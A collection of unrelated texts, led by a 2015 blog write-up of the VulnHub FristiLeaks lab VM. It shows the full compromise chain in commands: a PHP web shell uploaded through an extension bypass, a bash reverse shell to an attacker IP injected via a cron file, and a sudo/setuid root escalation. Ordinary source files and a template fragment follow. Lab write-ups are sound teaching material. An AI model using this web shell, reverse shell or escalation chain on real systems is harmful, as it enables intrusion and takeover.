text:
layout: post
title:  "VulnHub FristiLeaks Writeup"
date:   2015-12-31 00:00:00
description: I Think I Didn't Meet The Deadline
tags: Security
---

This is a writeup for VulnHub's [FristiLeaks: 1.3](https://www.vulnhub.com/entry/fristileaks-13,133/) challenge.

### Host and Service Discovery

I don't think that we really need to cover this, as the IP address of the host is clearly written in the logon prompt after the virtual machine boots up. But here's how to find the IP address without looking at the VM's screen.

~~~
$ arp -v

Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.0.106            ether   08:00:27:a5:a6:76   C                     wlan0
192.168.0.1              ether   c0:4a:00:65:77:d6   C                     wlan0
Entries: 2  Skipped: 0  Found: 2
~~~

Then, we can proceed to scanning for services.

~~~
$ sudo nmap -T5 -A -v 192.168.0.106 -p 0-65535

Starting Nmap 6.40 ( http://nmap.org ) at 2015-12-28 21:29 WIB
NSE: Loaded 110 scripts for scanning.
NSE: Script Pre-scanning.
Initiating ARP Ping Scan at 21:29
Scanning 192.168.0.106 [1 port]
Completed ARP Ping Scan at 21:29, 0.23s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:29
Completed Parallel DNS resolution of 1 host. at 21:29, 6.78s elapsed
Initiating SYN Stealth Scan at 21:29
Scanning 192.168.0.106 [65536 ports]
Discovered open port 80/tcp on 192.168.0.106
SYN Stealth Scan Timing: About 35.32% done; ETC: 21:30 (0:00:57 remaining)
Completed SYN Stealth Scan at 21:30, 75.85s elapsed (65536 total ports)
Initiating Service scan at 21:30
Scanning 1 service on 192.168.0.106
Completed Service scan at 21:30, 6.01s elapsed (1 service on 1 host)
Initiating OS detection (try #1) against 192.168.0.106
NSE: Script scanning 192.168.0.106.
Initiating NSE at 21:30
Completed NSE at 21:30, 0.01s elapsed
Nmap scan report for 192.168.0.106
Host is up (0.00041s latency).
Not shown: 65535 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)
| http-methods: GET HEAD POST OPTIONS TRACE
| Potentially risky methods: TRACE
|_See http://nmap.org/nsedoc/scripts/http-methods.html
| http-robots.txt: 3 disallowed entries
|_/cola /sisi /beer
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
MAC Address: 08:00:27:A5:A6:76 (Cadmus Computer Systems)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.9, Linux 3.0 - 3.9
Uptime guess: 0.001 days (since Mon Dec 28 21:28:52 2015)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros

TRACEROUTE
HOP RTT     ADDRESS
1   0.41 ms 192.168.0.106

NSE: Script Post-scanning.
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 91.42 seconds
           Raw packets sent: 131104 (5.771MB) | Rcvd: 1481 (194.419KB)
~~~

The host only has port 80 open.

### The Web Application

I started checking the web application with a browser and running Nikto on it. Nikto doesn't give me anything useful. We got this image on the homepage, along to some references to Twitter.

![Keep-Calm](/images/posts/fristileaks-keep-calm.png)

If we check the page source, we can see that the image is located on `/images` directory. The directory is vulnerable to directory indexing, hence we can see that the there's a picture of Obi-Wan Kenobi there.

![Obi-Wan](/images/posts/fristileaks-obi-wan.jpg)

On the `robots.txt`, we can see three paths are disallowed.

~~~
User-agent: *
Disallow: /cola
Disallow: /sisi
Disallow: /beer
~~~

Opening any of the disallowed paths will bring us to a page displaying Obi-Wan's image.

Since Nikto doesn't give me anything useful and all of the disallowed paths are named after drinks, I figured that I'd try `/fristi`. And I got a login page with this image.

![Ha-Ha](/images/posts/fristileaks-ha-ha.jpg)

### The Login Page

Check the source code of the page, notice that the developer left us a message.

~~~html

~~~

And the meta tag is a huge clue for us.

~~~html
<meta name="description" content="super leet password login-test page. We use base64 encoding for images so they are inline in the HTML. I read somewhere on the web, that thats a good way to do it.">
~~~

Under the Ha-Ha image's tag, there's another image encoded in base64 commented.

~~~html

~~~

Save the login page as a HTML file. Remove the comment markers and add proper tags in their place.

~~~html
<img src="data:img/png;base64,iVBORw0KGgoAAAANSUhEUgAAAW0AAABLCAIAAAA04UHqAAAAAXNSR0IArs4c6QAAAARnQU1BAACx
jwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAARSSURBVHhe7dlRdtsgEIVhr8sL8nqymmwmi0kl
S0iAQGY0Nb01//dWSQyTgdxz2t5+AcCHHAHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixw
B4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzkCwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL5kc+f
m63yaP7/XP/5RUM2jx7iMz1ZdqpguZHPl+zJO53b9+1gd/0TL2Wull5+RMpJq5tMTkE1paHlVXJJ
Zv7/d5i6qse0t9rWa6UMsR1+WrORl72DbdWKqZS0tMPqGl8LRhzyWjWkTFDPXFmulC7e81bxnNOvb
DpYzOMN1WqplLS0w+oaXwomXXtfhL8e6W+lrNdDFujoQNJ9XbKtHMpSUmn9BSeGf51bUcr6W+VjNd
jJQjcelwepPCjlLNXFpi8gktXfnVtYSd6UpINdPFCDlyKB3dyPLpSTVzZYnJR7R0WHEiFGv5NrDU
12qmC/1/Zz2ZWXi1abli0aLqjZdq5sqSxUgtWY7syq+u6UpINdOFeI5ENygbTfj+qDbc+QpG9c5
uvFQzV5aM15LlyMrfnrPU12qmC+Ucqd+g6E1JNsX16/i/6BtvvEQzF5YM2JLhyMLz4sNNtp/pSkg1
04VajmwziEdZvmSz9E0YbzbI/FSycgVSzZiXDNmS4cjCni+kLRnqizXThUqOhEkso2k5pGy00aLq
i1n+skSqGfOSIVsKC5Zv4+XH36vQzbl0V0t9rWb6EMyRaLLp+Bbhy31k8SBbjqpUNSHVjHXJmC2Fg
tOH0drysrz404sdLPW1mulDLUdSpdEsk5vf5Gtqg1xnfX88tu/PZy7VjHXJmC21H9lWvBBfdZb6Ws
30oZ0jk3y+pQ9fnEG4lNOco9UnY5dqxrhk0JZKezwdNwqfnv6AOUN9sWb6UMyR5zT2B+lwDh++Fl
3K/U+z2uFJNWNcMmhLzUe2v6n/dAWG+mLN9KGWI9EcKsMJl6o6+ecH8dv0Uu4PnkqDl2rGuiS8HK
ul9iMrFG9gqa/VTB8qORLuSTqF7fYU7tgsn/4+zfhV6aiiIsczlGrGvGTIlsLLhiPbnh6KnLDU12q
mD+0cKQ8nunpVcZ21Rj7erEz0WqoZ+5IRW1oXNB3Z/vBMWulSfYlm+hDLkcIAtuHEUzu/l9l867X34
rPtA6lmLi0ZrqX6gu37aIukRkVaylRfqpk+9HNkH85hNocTKC4P31Vebhd8fy/VzOTCkqeBWlrrFhe
EPdMjO3SSys7XVF+qmT5UcmT9+Ss//fyyOLU3kWoGLd59ZKb6Us10IZMjAP5b5AgAL3IEgBc5AsCLH
AHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixwB4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzk
CwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL3IEgBc5AsCLHAHgRY4A8Pn9/QNa7zik1qtycQAAAABJR
U5ErkJggg==">

~~~

Open the HTML file in a browser. We'll se an image displaying this string.

~~~
keKkeKKeKKeKkEkkEk
~~~

So this is our web login credentials.

~~~
eezeepz:keKkeKKeKKeKkEkkEk
~~~

### File Uploader

After logging in, we'll find a file uploader. It claims to only accept `png`, `jpg`, and `gif` image files. But we can upload files of other extensions by adding `.png`, `.jpg`, or `.gif` at the end of the filename. Uploaded files will be available on `/fristi/uploads` directory.

I tried uploading a PHP file named `shell.php.jpg`. Here's the content of the file.

~~~php

<?php
  echo shell_exec($_GET['cmd']);
?>

~~~

If I open `/fristi/uploads/shell.php.jpg`, it is displayed as a web page instead of an image. I can run shell commands from the `cmd` parameter. Running `whoami` will show us that we have the privilege of a user named apache.

### Reverse Shells

I decided to upload [php-reverse-shell](http://pentestmonkey.net/tools/web-shells/php-reverse-shell) to the site with Netcat listening on my host. Then I browsed the files and found that `/home/eezeepz` is accessible.

On `/home/eezeepz`, there's a file called `note.txt`.

~~~
Yo EZ,

I made it possible for you to do some automated checks,
but I did only allow you access to /usr/bin/* system binaries. I did
however copy a few extra often needed commands to my
homedir: chmod, df, cat, echo, ps, grep, egrep so you can use those
from /home/admin/

Don't forget to specify the full path for each binary!

Just put a file called "runthis" in /tmp/, each line one command. The
output goes to the file "cronresult" in /tmp/. It should
run every minute with my account privileges.

- Jerry
~~~

So the good news is, we can put a command in a file named `runthis` in `/tmp` directory, and it will be run with privileges of a user called admin.

I tried to this command in the `runthis` file.

~~~bash
/bin/bash -i >& /dev/tcp/192.168.0.107/6666 0>&1
~~~

But when it's run, the `cronresult` shows that it's not successful (my listener doesn't get any incoming connection too).

~~~
command did not start with /home/admin or /usr/bin
~~~

Well, Jerry did say that he only allow commands from /usr/bin/ or /home/admin/. So I tried this instead.

~~~bash
/usr/bin/dir && /bin/bash -i >& /dev/tcp/192.168.0.107/6666 0>&1
~~~

Start Netcat to listen at port 6666.

~~~
$ nc -lvp 6666
~~~

Wait a minute for the connection, and we got the reverse shell.

### Admin

So we got the access to `/home/admin` with the reverse shell from cron with Jerry's privilege. There are a few interesting files there.

#### 1. whoisyourgodnow.txt

~~~
=RFn0AKnlMHMPIzpyuTI0ITG
~~~

Seems like a reversed base64-encoded string.

#### 2. cryptedpass.txt

~~~
mVGZ3O3omkJLmy2pcuTq
~~~

Seems like it's encrypted using the `cryptpass.py` script.

#### 3. cryptpass.py

~~~python
#Enhanced with thanks to Dinesh Singh Sikawar @LinkedIn
import base64,codecs,sys

def encodeString(str):
    base64string= base64.b64encode(str)
    return codecs.encode(base64string[::-1], 'rot13')

cryptoResult=encodeString(sys.argv[1])
print cryptoResult
~~~

### Decrypting the Passwords

It's pretty clear that the string in `cryptedpass.txt` is encrypted by using `cryptpass.py`. So to decrypt that, we need to reverse the process.

Using the Python shell in my host, doing this will return the plaintext of the `cryptedpass.txt` file.

~~~python
import base64,codecs,sys

ciphertext = 'mVGZ3O3omkJLmy2pcuTq'
decoded_codecs = codecs.encode(ciphertext[::-1], 'rot13')
plaintext = base64.b64decode(decoded_codecs)
print plaintext
~~~

It returned a plaintext which happens to be the password for the user named admin (Jerry's user).

~~~
thisisalsopw123
~~~

And I tried to do the same for the crypted string in `whoisyourgodnow.txt`.

~~~python
import base64,codecs,sys

ciphertext = '=RFn0AKnlMHMPIzpyuTI0ITG'
decoded_codecs = codecs.encode(ciphertext[::-1], 'rot13')
plaintext = base64.b64decode(decoded_codecs)
print plaintext
~~~

It returned this plaintext.

~~~
LetThereBeFristi!
~~~

I thought that it was the root's password because of the name of the file, but it doesn't seem to be it. But I checked the file once again and see that it belongs to the user fristigod. I can su to fristigod now.

But before that, I must spawn a TTY.

~~~
$ python -c 'import pty;pty.spawn("/bin/bash")'
~~~

### Fristigod

We started in `/var/fristigod` directory when switching user to fristigod.

~~~
$ ls -alh

total 16K
drwxr-x---   3 fristigod fristigod 4.0K Nov 25 05:55 .
drwxr-xr-x. 19 root      root      4.0K Nov 19 01:41 ..
-rw-------   1 fristigod fristigod  864 Nov 25 06:09 .bash_history
drwxrwxr-x.  2 fristigod fristigod 4.0K Nov 25 05:53 .secret_admin_stuff
~~~

That `.secret_admin_stuff` directory seems interesting. I changed the directory and checked what's inside.

~~~
$ ls -alh

total 16K
drwxrwxr-x. 2 fristigod fristigod 4.0K Nov 25 05:53 .
drwxr-x---  3 fristigod fristigod 4.0K Nov 25 05:55 ..
-rwsr-sr-x  1 root      root      7.4K Nov 25 05:53 doCom
~~~

An executable file owned by root and is able to be run with root's privilege. Perfect!

But simply running `doCom` will give us this.

~~~
Nice try, but wrong user ;)
~~~

I tried checking the strings inside the executable.

~~~
$ strings doCom

/lib64/ld-linux-x86-64.so.2
__gmon_start__
libc.so.6
setuid
exit
strcat
stderr
system
getuid
fwrite
__libc_start_main
GLIBC_2.2.5
fff.
fffff.
l$ L
t$(L
|$0H
Nice try, but wrong user ;)
Usage: ./program_name terminal_command ...
~~~

It doesn't seem to run any other program in the system that I can easily trick it to giving me root shell. But seems like it acts as a proxy to run shell commands as root for the right user.

I tried using sudo with fristigod, and I found out that fristigod is a sudoer (but with a very limited permission).

~~~
$ sudo -l -U fristigod

Matching Defaults entries for fristigod on this host:
    requiretty, !visiblepw, always_set_home, env_reset, env_keep="COLORS
    DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS", env_keep+="MAIL PS1
    PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE
    LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY
    LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL
    LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User fristigod may run the following commands on this host:
    (fristi : ALL) /var/fristigod/.secret_admin_stuff/doCom
~~~

The user fristigod is allowed to run `doCom` as fristi. Let's try that.

~~~
$ sudo -u fristi ./doCom
~~~

And we got the right response.

~~~
Usage: ./program_name terminal_command ...
~~~

Try checking our privilege when executing the command with `doCom`.

~~~
$ sudo -u fristi ./doCom id

uid=0(root) gid=100(users) groups=100(users),502(fristigod)

$ sudo -u fristi ./doCom whoami

root
~~~

### Getting the Flag

As root, we're able to access the `/root` directory and check its contents. And here's our flag file, stored in that directory.

~~~
$ sudo -u fristi ./doCom ls /root

fristileaks_secrets.txt
~~~

Time to get our flag.

~~~
$ sudo -u fristi ./doCom cat /root/fristileaks_secrets.txt
~~~

And here's it is!

~~~
Congratulations on beating FristiLeaks 1.0 by Ar0xA [https://tldr.nu]

I wonder if you beat it in the maximum 4 hours it's supposed to take!

Shoutout to people of #fristileaks (twitter) and #vulnhub (FreeNode)

Flag: Y0u_kn0w_y0u_l0ve_fr1st1

~~~

By the way, I could just spawn a root shell with `doCom` instead of doing things one by one like that.

~~~
$ sudo -u fristi ./doCom /bin/bash
~~~

I wonder if I managed to finish it in 4 hours. I did it in three days, around one or two hours per day. But well, it's finished though.


text:
// Copyright 2020 Open Source Robotics Foundation, Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//     http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

#ifndef RCLCPP__LOGGING_MUTEX_HPP_
#define RCLCPP__LOGGING_MUTEX_HPP_

#include <memory>
#include <mutex>

#include "rclcpp/visibility_control.hpp"

/// Global logging mutex
/**
 * This mutex is locked in the following situations:
 *   - In initialization/destruction of contexts.
 *   - In initialization/destruction of nodes.
 *   - In the rcl logging output handler installed by rclcpp,
 *     i.e.: in all calls to the logger macros, including RCUTILS_* ones.
 */
// Implementation detail:
// A shared pointer to the mutex is used, so that objects that need to use
// it at destruction time can hold it alive.
// In that way, a destruction ordering problem between static objects is avoided.
RCLCPP_LOCAL
std::shared_ptr<std::recursive_mutex>
get_global_logging_mutex();

#endif  // RCLCPP__LOGGING_MUTEX_HPP_

redpajama_set_name: RedPajamaGithub


text:
/**
 * This file is part of the CernVM File System.
 */

#include "clientctx.h"

#include <cassert>

#include "smalloc.h"
#include "util_concurrency.h"

using namespace std;  // NOLINT

ClientCtx *ClientCtx::instance_ = NULL;

void ClientCtx::CleanupInstance() {
  delete instance_;
  instance_ = NULL;
}

ClientCtx::ClientCtx() {
  lock_tls_blocks_ = reinterpret_cast<pthread_mutex_t *>(
    smalloc(sizeof(pthread_mutex_t)));
  int retval = pthread_mutex_init(lock_tls_blocks_, NULL);
  assert(retval == 0);
}

ClientCtx::~ClientCtx() {
  pthread_mutex_destroy(lock_tls_blocks_);
  free(lock_tls_blocks_);

  for (unsigned i = 0; i < tls_blocks_.size(); ++i) {
    delete tls_blocks_[i];
  }

  int retval = pthread_key_delete(thread_local_storage_);
  assert(retval == 0);
}

ClientCtx *ClientCtx::GetInstance() {
  if (instance_ == NULL) {
    instance_ = new ClientCtx();
    int retval =
      pthread_key_create(&instance_->thread_local_storage_, TlsDestructor);
    assert(retval == 0);
  }

  return instance_;
}

void ClientCtx::Get(uid_t *uid, gid_t *gid, pid_t *pid) {
  ThreadLocalStorage *tls = static_cast<ThreadLocalStorage *>(
    pthread_getspecific(thread_local_storage_));
  if ((tls == NULL) || !tls->is_set) {
    *uid = -1;
    *gid = -1;
    *pid = -1;
  } else {
    *uid = tls->uid;
    *gid = tls->gid;
    *pid = tls->pid;
  }
}

bool ClientCtx::IsSet() {
  ThreadLocalStorage *tls = static_cast<ThreadLocalStorage *>(
    pthread_getspecific(thread_local_storage_));
  if (tls == NULL)
    return false;

  return tls->is_set;
}

void ClientCtx::Set(uid_t uid, gid_t gid, pid_t pid) {
  ThreadLocalStorage *tls = static_cast<ThreadLocalStorage *>(
    pthread_getspecific(thread_local_storage_));

  if (tls == NULL) {
    tls = new ThreadLocalStorage(uid, gid, pid);
    int retval = pthread_setspecific(thread_local_storage_, tls);
    assert(retval == 0);
    MutexLockGuard lock_guard(lock_tls_blocks_);
    tls_blocks_.push_back(tls);
  } else {
    tls->uid = uid;
    tls->gid = gid;
    tls->pid = pid;
    tls->is_set = true;
  }
}

void ClientCtx::TlsDestructor(void *data) {
  ThreadLocalStorage *tls = static_cast<ClientCtx::ThreadLocalStorage *>(data);
  delete tls;

  assert(instance_);
  MutexLockGuard lock_guard(instance_->lock_tls_blocks_);
  for (vector<ThreadLocalStorage *>::iterator i =
       instance_->tls_blocks_.begin(), iEnd = instance_->tls_blocks_.end();
       i != iEnd; ++i)
  {
    if ((*i) == tls) {
      instance_->tls_blocks_.erase(i);
      break;
    }
  }
}

void ClientCtx::Unset() {
  ThreadLocalStorage *tls = static_cast<ThreadLocalStorage *>(
    pthread_getspecific(thread_local_storage_));
  if (tls != NULL) {
    tls->is_set = false;
    tls->uid = -1;
    tls->gid = -1;
    tls->pid = -1;
  }
}


text:
function nodevol=nodevolume(node,elem)
%
% nodevol=nodevolume(node,elem)
%
% calculate the Voronoi volume of each node in a simplex mesh
%
% author: Qianqian Fang (fangq<at> nmr.mgh.harvard.edu)
% date: 2009/12/31
%
% input:
%    node:  node coordinates
%    elem:  element table of a mesh
%
% output:
%    nodevol:   volume values for all nodes
%
% -- this function is part of iso2mesh toolbox (http://iso2mesh.sf.net)
%

dim=4;
if(size(elem,2)==3) dim=3; end

vol=elemvolume(node,elem(:,1:dim));

elemnum=size(elem,1);
nodenum=size(node,1);
nodevol=zeros(nodenum,1);
for i=1:elemnum
      nodevol(elem(i,1:dim))=nodevol(elem(i,1:dim))+vol(i);
end
nodevol=nodevol/dim;


text:
module FFITests
  module TestLib
    attach_function :save_string, [:string], :void
    attach_function :get_char, [:uint], :uint
  end
end

header "String tests"

should 'save string' do
  FFITests::TestLib.save_string("hi there")
  c = FFITests::TestLib.get_char(0)
  eq(c, "h".bytes.map do |b| b end[0].to_i)
end


text:
<?hh

namespace beatbox\orm;

use Indexish;

abstract class DataTable {
	abstract public function __construct(?Indexish<string,?string> $row = null);

	/**
	 * Updates the fields in the object from the data in the row.
	 * This assumes that the given row is from the database and
	 * therefore resets and marked changes for this object.
	 */
	abstract protected function updateFromRow(Indexish<string,?string> $row) : void;

	/**
	 * Get a map of updated columns for this object, the keys are the
	 * column names, the values are the updated values
	 *
	 * @return Map
	 */
	abstract protected function getUpdatedColumns() : Map<string,mixed>;

	/**
	 * Get a map of the original values for this object
	 */
	abstract protected function originalValues(): ImmMap<string,mixed>;

	/**
	 * Returns a map of column names to their current values
	 */
	abstract public function toMap(): Map<string,mixed>;

	/**
	 * Returns the fields in as a ROW constructor literal
	 */
	abstract public function toRow(): string;

	/**
	 * Returns whether or not this object is "new", i.e. will
	 * be inserted instead of updated
	 */
	abstract public function isNew(): bool;

	/**
	 * Returns the table name for this object (normally the
	 * class name)
	 */
	abstract public static function getTableName(): string;

	/**
	 * Returns a set of column names for this object
	 */
	abstract static function getColumnNames() : \ConstSet<string>;

	/**
	 * Returns a set of column names that are primary keys
	 */
	abstract static function getPrimaryKeys() : \ConstSet<string>;

	/**
	 * Creates a copy of this object, marking all the fields as changed
	 */
	abstract public function copy(): this;

	/**
	 * ORM-getter for this class (uses LSB)
	 *
	 * @return ORM
	 */
	public static function get() : ORM {
		return new ORM(get_called_class());
	}

	/**
	 * Gets the the object using the primary key given.
	 *
	 * Because Postgres supports multi-column primary keys,
	 * this expects either a single value, or map (array or
	 * Map) of column-name => value for the "id".
	 *
	 * If the requested class only has 1 primary key, then
	 * either can be specified, if it has > 1 primary key, then
	 * all values for the columns in the key must be provided.
	 *
	 * Returns null if there is no matching object in the database
	 */
	public static async function get_by_pk(mixed $id) : Awaitable<?this> {
		if(!$id) {
			return null;
		}
		$pks = static::getPrimaryKeys();
		if ($pks->count() == 1 && !($id instanceof Indexish)) {
			$id = [array_values($pks->toArray())[0] => $id];
		} else {
			if (!($id instanceof Indexish)) {
				throw new \InvalidArgumentException(
					"Object has multi-column primary key, `get_by_id` expects an array or map"
				);
			}
		}
		invariant($id instanceof Indexish, '$id should be indexable');
		$orm = static::get();
		// Add each key as an '=' filter
		foreach ($pks as $col) {
			if (!isset($id[$col]))
				throw new \InvalidArgumentException("Missing entry for column \"$col\"");
			$orm = $orm->filter($col, $id[$col]);
		}

		return await $orm->getNth(0);
	}

	/**
	 * Wrapper method for get_by_pk.
	 */
	public static function get_by_id(mixed $id) : Awaitable<?this> {
		return static::get_by_pk($id);
	}

	/**
	 * Convert the row into an object of this type
	 *
	 * @return DataTable
	 */
	public static function load(Indexish<string,string> $row) : this {
		$c = new static($row);
		return $c;
	}

	/**
	 * Convert the rows into objects of this type
	 *
	 * @return array
	 */
	public static function loadMany(Traversable<Indexish<string,string>> $rows) : Vector<DataTable> {
		$v = Vector {};
		foreach ($rows as $row) {
			$v->add(static::load($row));
		}
		return $v;
	}

	private bool $deleted = false;

	/**
	 * Write this object to the database.
	 *
	 * $force forces a write of all columns, whether they've
	 * been updated or not;
	 *
	 * If this object is not new, and any primary key columns have
	 * been updated, the results are undefined as the code uses the
	 * current values of the primary key columns for the WHERE clause
	 * in the UPDATE query.
	 */
	public async function write(bool $force=false) : Awaitable<bool> {
		return await $this->writeWithConn(Connection::get(), $force);
	}

	/**
	 * Write this object to the database using the given connection,
	 * $force has the same meaning as for write
	 */
	public async function writeWithConn(Connection $conn, bool $force=false) : Awaitable<bool> {
		if ($conn == null)
			throw new \InvalidArgumentException("Connection object is null");
		if ($this->deleted)
			throw new DeletedObjectException('write', get_called_class());

		$query = $this->getWriteQuery($conn, $force);
		if (!$query) return false;

		// We use queueQuery here because inserting a single row is fairly fast, and
		// this allows code writing many objects at once to just do a gena on all of
		// them at the end instead of opening multiple connections.
		// This also makes it faster when running inside a transaction, as transactions
		// cause queries to run immediately, instead of asynchronously.
		$result = await $conn->queueQuery($query);
		assert($result instanceof QueryResult && "Object write should always return rows");
		assert($result->numRows() == 1 || (var_dump($query) && false));

		$row = $result->nthRow(0);

		$this->updateFromRow($row);

		return true;
	}

	private function getWriteQuery(Connection $conn, bool $force) : ?string {
		if ($force) {
			$values = $this->toMap();
		} else {
			$values = $this->getUpdatedColumns();
		}

		if ($values->count() == 0 && !$this->isNew()) return null;

		$table = $conn->escapeIdentifier(static::getTableName());

		if ($this->isNew()) {

			$columns  = $values->keys()->map($col ==> $conn->escapeIdentifier($col));
			$obj_vals = $values->values()->map($val ==> $conn->escapeValue($val));

			$primary_keys = static::getPrimaryKeys();
			foreach($primary_keys as $k) {
				if($values->get($k) == null) {
					$columns[] = $conn->escapeIdentifier($k);
					$obj_vals[] = 'DEFAULT';
				}
			}

			return "INSERT INTO $table (".bb_join(',', $columns).') '.
				'VALUES ('.bb_join(',',$obj_vals).') '.
				'RETURNING *;';
		} else {
			$allVals = $this->toMap();
			$origVals = $this->originalValues();
			$primaryKeys = static::getPrimaryKeys();

			$pairs = $values->items()->map(function (Pair<string,mixed> $pair) use ($conn) {
				$col = $conn->escapeIdentifier($pair[0]);
				$val = $conn->escapeValue($pair[1]);
				return "$col = $val";
			});
			$pks = $primaryKeys->map(function ($col) use ($conn, $origVals) {
				$val = $origVals[$col];
				$col = $conn->escapeIdentifier($col);
				$val = $conn->escapeValue($val);
				return "$col=$val";
			});

			return "UPDATE $table SET ".bb_join(', ', $pairs)." WHERE ".
				bb_join(' AND ', $pks).'RETURNING *;';
		}
	}

	/**
	 * Deletes DataTable object.
	 *
	 * The object shouldn't be used after deletion and will cause exceptions
	 * to be thrown if this happens.
	 */
	public async function delete() : Awaitable<void> {
		if ($this->deleted)
			throw new DeletedObjectException('delete', get_called_class());
		return await $this->deleteWithConn(Connection::get());
	}

	public async function deleteWithConn(Connection $conn) : Awaitable<void> {
		if ($this->deleted)
			throw new DeletedObjectException('delete', get_called_class());
		$this->deleted = true;

		// This object was never written, save us some work by not even
		// trying to delete
		if ($this->isNew()) return;

		$table = $conn->escapeIdentifier(static::getTableName());

		$allVals = $this->toMap();
		$primaryKeys = static::getPrimaryKeys();

		$pks = $primaryKeys->map(function ($col) use ($conn, $allVals) {
			$val = $allVals[$col];
			$col = $conn->escapeIdentifier($col);
			$val = $conn->escapeValue($val);
			return "$col=$val";
		});

		$query = "DELETE FROM $table WHERE ".bb_join(' AND ', $pks).';';

		$result = await $conn->query($query);
		assert($result instanceof ModifyResult);
		assert($result->isDelete());
		/*
		 * Asserting that only one row was deleted should help to find bugs,
		 * and since assertions are ignored in production, if it happens in
		 * then it won't crash a page that could probably recover or ignore
		 * this postcondition.
		 */
		assert($result->numRows() == 1);
	}

}


text:
<?php
/**
 * TOP API: taobao.tbk.spread.get request
 *
 * @author auto create
 * @since 1.0, 2017.06.17
 */
class TbkSpreadGetRequest
{
	/**
	 * 请求列表,内部包含多个url
	 **/
	private $requests;

	private $apiParas = array();

	public function setRequests($requests)
	{
		$this->requests = $requests;
		$this->apiParas["requests"] = $requests;
	}

	public function getRequests()
	{
		return $this->requests;
	}

	public function getApiMethodName()
	{
		return "taobao.tbk.spread.get";
	}

	public function getApiParas()
	{
		return $this->apiParas;
	}

	public function check()
	{

	}

	public function putOtherTextParam($key, $value) {
		$this->apiParas[$key] = $value;
		$this->$key = $value;
	}
}


text:
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
  <component name="ProjectModuleManager">
    <modules>
      <module fileurl="file://$PROJECT_DIR$/openjpa-quickstart.iml" filepath="$PROJECT_DIR$/openjpa-quickstart.iml" />
    </modules>
  </component>
</project>


text:
/*
 * To change this license header, choose License Headers in Project Properties.
 * To change this template file, choose Tools | Templates
 * and open the template in the editor.
 */
package edu.iit.sat.itmd4515.jsharma3.mp3.MLM;

import java.util.GregorianCalendar;
import java.util.List;
import javax.persistence.TypedQuery;
import org.junit.Test;
import static org.junit.Assert.*;
import org.junit.Ignore;

/**
 *
 * @author Jay
 */
public class MembersTest extends AbstractJPATest {

    public MembersTest() {

    }

    @Test
    public void testCreate() {

        Members m =new Members();
        m.setAdmin_member(true);
        m.setBirthDate(new GregorianCalendar(1979, 11, 25).getTime());
        m.setEmail("sharma@google.com");
        m.setFirstName("Viral");
        m.setLastName("Mehta");
        m.setPassword("7895");
        m.setReferance_code("viral3");

        tx.begin();
        em.persist(m);
        tx.commit();

        assertNotNull(m.getId());

    }
    @Test
    public void testRead() {

        List<Members> cp = em.createNamedQuery("Members.findByAll", Members.class).getResultList();
        assertTrue(cp.size() == 1);
        assertFalse(cp.isEmpty());
    }

    @Test
    public void testUpdate() {

        Members cp = em.createNamedQuery("Members.findByReferance", Members.class).setParameter("referance_code", "viral3").getSingleResult();
        assertNotNull(cp.getId());

        String originalName = cp.getReferance_code();
        String newName = "viral2";
        tx.begin();
        cp.setReferance_code(newName);
        tx.commit();

        assertNotEquals(originalName, cp.getReferance_code());
        assertTrue(newName.equals(cp.getReferance_code()));

        tx.begin();
        cp.setReferance_code(originalName);
        tx.commit();

    }
    @Test
    @Ignore
    public void testDelete() {

        TypedQuery<Members> cb = em.createQuery("select cb from Members cb where cb.referance_code = ?1", Members.class);
        cb.setParameter(1, "jsharma3");
        Members c = cb.getSingleResult();

        assertNotNull(c.getId());

        tx.begin();
        for(Customer d : c.getCustomer()){
            em.remove(d);
        }
        em.remove(c);
        tx.commit();

        Members postRemove = em.find(Members.class, 1L);
        assertNull(postRemove);

    }
}


text:
{% macro header(personalisation) %}

        Return reference 10042736

        Licence number AN/033/0012/007

        Midlands / Central area

{% endmacro %}

{% macro area(personalisation) %}

      Midlands / Central area

{% endmacro %}

{% macro address(personalisation) %}

    FAO: Edward Power

    Water Resource Licensing team

    Horizon House,

    Deanery Road,

    Near College Green

    Bristol

    BS1 5AH

{% endmacro %}

{% macro cover(personalisation) %}

            Send us your return by 28 November 2019.

            You must submit a return even if you have not abstracted any water (nil return). If your licence has expired or has been cancelled complete the return up to its end date.

            Before sending it make sure you:

                have filled in all the relevant sections

                ticked the 'nil return' box if no water

                has been abstracted

                signed the declaration

            If you are required to carry out monitoring

            as a condition of you abstracting water you need to continue sending this information

            to your local area office.

            Return the completed form to:

            Waste and Industry Regulatory Services

            Environment Agency

            Quadrant 2, 99 Parkway Avenue

